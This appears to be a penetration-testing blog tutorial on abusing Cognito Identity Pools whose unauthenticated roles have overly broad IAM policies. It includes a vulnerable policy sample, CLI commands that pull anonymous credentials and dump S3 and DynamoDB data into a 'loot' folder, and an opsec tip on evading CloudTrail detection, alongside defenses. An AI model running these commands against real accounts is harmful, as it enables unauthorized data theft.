Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Amazon Cognito is AWS’s managed identity service and comes in two parts that are frequently confused: User Pools, which are a user directory handling sign-up, sign-in, and issuing JWTs (ID, access, and refresh tokens); and Identity Pools (Cognito Federated Identities), which exchange an identity — a User Pool token, a social/OIDC/SAML token, or nothing at all for unauthenticated access — for temporary AWS credentials via AWS STS. The two are often wired together, but Identity Pools can also stand entirely alone, and that is where most of the exploitable misconfigurations live.
Because an Identity Pool’s whole job is to hand out real AWS credentials to clients — mobile apps, SPAs, IoT devices — a single overlooked setting turns it into an anonymous credential vending machine. In practice this is one of the most common high-impact findings in AWS application penetration tests: an identity pool with unauthenticated identities enabled, paired with an unauthenticated IAM role that was scoped generously “to get the demo working” and never tightened. Because the pool ID is typically embedded directly in client-side JavaScript or a mobile app binary, it requires no privileged access to find — just reading the app.
Attack Prerequisites
Exploiting Cognito identity pool weaknesses generally requires:
- The Identity Pool ID (format
region:guid), usually harvested from a web app’s JS bundle, a mobile app’s config, or a public API response. AllowUnauthenticatedIdentities: trueon the pool, or a User Pool that allows open self-registration if the authenticated path is the target.- An over-permissive IAM role attached as the pool’s unauthenticated (or authenticated) role — one with broad
s3:*,dynamodb:*, or similar actions instead of resource- and action-scoped permissions. - Optionally, the ability to self-register a User Pool account (if the authenticated role, not the unauthenticated one, is the over-privileged target) and control over a custom attribute that role-mapping logic trusts.
How It Works
An Identity Pool issues credentials through a two-call flow. First, the client calls cognito-identity:GetId, presenting either no token (unauthenticated) or a login map of provider-name-to-token (a Cognito User Pool ID token, a Google/Facebook token, or a SAML/OIDC assertion). Cognito returns an IdentityId. The client then calls cognito-identity:GetCredentialsForIdentity with that IdentityId (and the same logins map, if any), and Cognito’s service returns short-lived AWS access key, secret key, and session token minted via STS. A related call, GetOpenIdToken, returns an OpenID Connect token instead, for callers that want to do their own AssumeRoleWithWebIdentity.
Which IAM role backs those credentials is decided by the pool’s role mapping. The simplest configuration is a static mapping: one role for every unauthenticated identity, one role for every authenticated identity regardless of provider. More advanced pools use rules-based or token-based mappings, where a claim from the login token — including a User Pool custom attribute such as custom:role or custom:tenant_id — is matched to select a specific IAM role, or embedded via cognito-identity:amr into an IAM policy condition for row/prefix-level scoping. This is powerful but dangerous: Cognito User Pools by default let users set their own mutable custom attributes at sign-up unless the attribute is explicitly marked non-mutable and validated server-side. An application that trusts a client-writable custom attribute for authorization is handing the user their own privilege level.
The unauthenticated role deserves special attention because it requires no credentials, no account, and no interaction at all — GetId with IdentityPoolId alone is enough if unauthenticated identities are allowed. Any policy attached to that role is reachable by anyone on the internet who can find the pool ID, which, again, is routinely shipped in client-side code by design since it is not treated as a secret.
Vulnerable Code / Configuration
The core misconfiguration: an identity pool allowing unauthenticated access, whose unauthenticated role has a wide-open trust policy and an attached permissions policy far beyond what an anonymous client needs:
// Identity pool (relevant settings)
{
"IdentityPoolId": "us-east-1:11111111-2222-3333-4444-555555555555",
"IdentityPoolName": "prodAppIdentityPool",
"AllowUnauthenticatedIdentities": true
}
JSON// Trust policy on the unauthenticated role (Cognito_prodAppIdentityPoolUnauth_Role)
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"Federated": "cognito-identity.amazonaws.com"},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:11111111-2222-3333-4444-555555555555"
},
"ForAnyValue:StringLike": {
"cognito-identity.amazonaws.com:amr": "unauthenticated"
}
}
}]
}
// VULNERABLE permissions policy attached to that role -- way too broad
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["s3:*", "dynamodb:*"],
"Resource": "*"
}]
}
JSONThe trust policy itself is correct and standard — the bug is entirely in the permissions policy, which should have been scoped to a handful of actions on a specific bucket prefix (e.g. s3:GetObject on arn:aws:s3:::app-public-assets/*) instead of every S3 and DynamoDB action on every resource in the account.
Walkthrough / Exploitation
With only the identity pool ID in hand, the first call requires no credentials at all:
aws cognito-identity get-id \
--identity-pool-id us-east-1:11111111-2222-3333-4444-555555555555 \
--region us-east-1
# {
# "IdentityId": "us-east-1:99999999-8888-7777-6666-000000000000"
# }
BashExchange the IdentityId for temporary AWS credentials via the unauthenticated role:
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:99999999-8888-7777-6666-000000000000 \
--region us-east-1
# Returns Credentials.AccessKeyId / SecretKey / SessionToken
BashLoad the returned triplet as a named profile (or export as env vars) and confirm the assumed identity, then enumerate what the role can actually reach:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
# arn:aws:sts::123456789012:assumed-role/Cognito_prodAppIdentityPoolUnauth_Role/CognitoIdentityCredentials
aws s3 ls
aws s3 sync s3://internal-app-backups ./loot
aws dynamodb list-tables
aws dynamodb scan --table-name Users --region us-east-1
BashWith s3:*/dynamodb:* on *, this anonymous session can read, write, or delete data across the account — full data exfiltration and tampering from an identity that required zero authentication. Pacu’s cognito__attack module automates this same enumerate-and-abuse flow, and is a useful reference implementation when triaging a pool during an assessment.
Note: Do not stop at the unauthenticated role. If self-registration is open on the linked User Pool, sign up a throwaway account, authenticate, and repeat the
GetId/GetCredentialsForIdentityflow with the User Pool token in theLoginsmap — the *authenticated* role is often even more permissive on the assumption that “at least they had to sign up.”
Opsec: Every
GetIdandGetCredentialsForIdentitycall is a distinct CloudTrail event, and the assumed-role session name is fixed (CognitoIdentityCredentials), which makes it easy for a defender to spot a burst of unauthenticated identity grants from a single source IP. Rate-limit your enumeration accordingly during an authorized assessment.
Detection and Defense
Cognito identity pool risk is fixed by tightly scoping the role attached, not by hiding the pool ID:
- Least-privilege the unauthenticated role — never attach
*:*or wildcard-resource actions; scope to the exact prefixes/tables the anonymous flow actually needs, or removeAllowUnauthenticatedIdentitiesentirely if unauthenticated access is not a real requirement. - Use rules/token-based role mapping carefully — never key a role selection off a mutable, user-writable custom attribute without server-side validation.
- Monitor CloudTrail for
cognito-identity.amazonaws.comevents (GetId,GetCredentialsForIdentity,GetOpenIdToken), especially spikes tied to theunauthenticatedAMR value or a single source IP/user agent. - Enable GuardDuty and review findings under the Cognito finding types for anomalous credential use following identity pool grants.
- Set App Client secrets and restrict allowed OAuth flows on the User Pool side so token issuance itself cannot be abused to feed the identity pool.
- Periodically audit role mappings and attached policies with
aws cognito-identity describe-identity-poolandaws cognito-identity get-identity-pool-rolesagainst IAM policy content, not just role names.
Real-World Impact
Over-permissive Cognito identity pools are a recurring finding across mobile and SPA-heavy AWS environments precisely because the pool ID is meant to be public, which shifts the entire security boundary onto the attached IAM roles — a boundary that is easy to get wrong once and forget. Security researchers and bug bounty writeups have repeatedly documented exposed S3 buckets and DynamoDB tables reachable through nothing more than an app’s bundled identity pool ID and the default unauthenticated role, making this one of the higher-yield, lowest-effort checks in a cloud-focused AWS penetration test.
Conclusion
Cognito Identity Pools intentionally hand out real AWS credentials to unauthenticated or lightly-authenticated clients, which means the entire security model rests on the IAM roles behind them. Treat the unauthenticated role as internet-exposed by definition, scope both roles to the minimum actions and resources the client genuinely needs, never let a mutable client claim decide role selection, and monitor identity-pool credential issuance the same way you would monitor any other anonymous entry point into the account.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments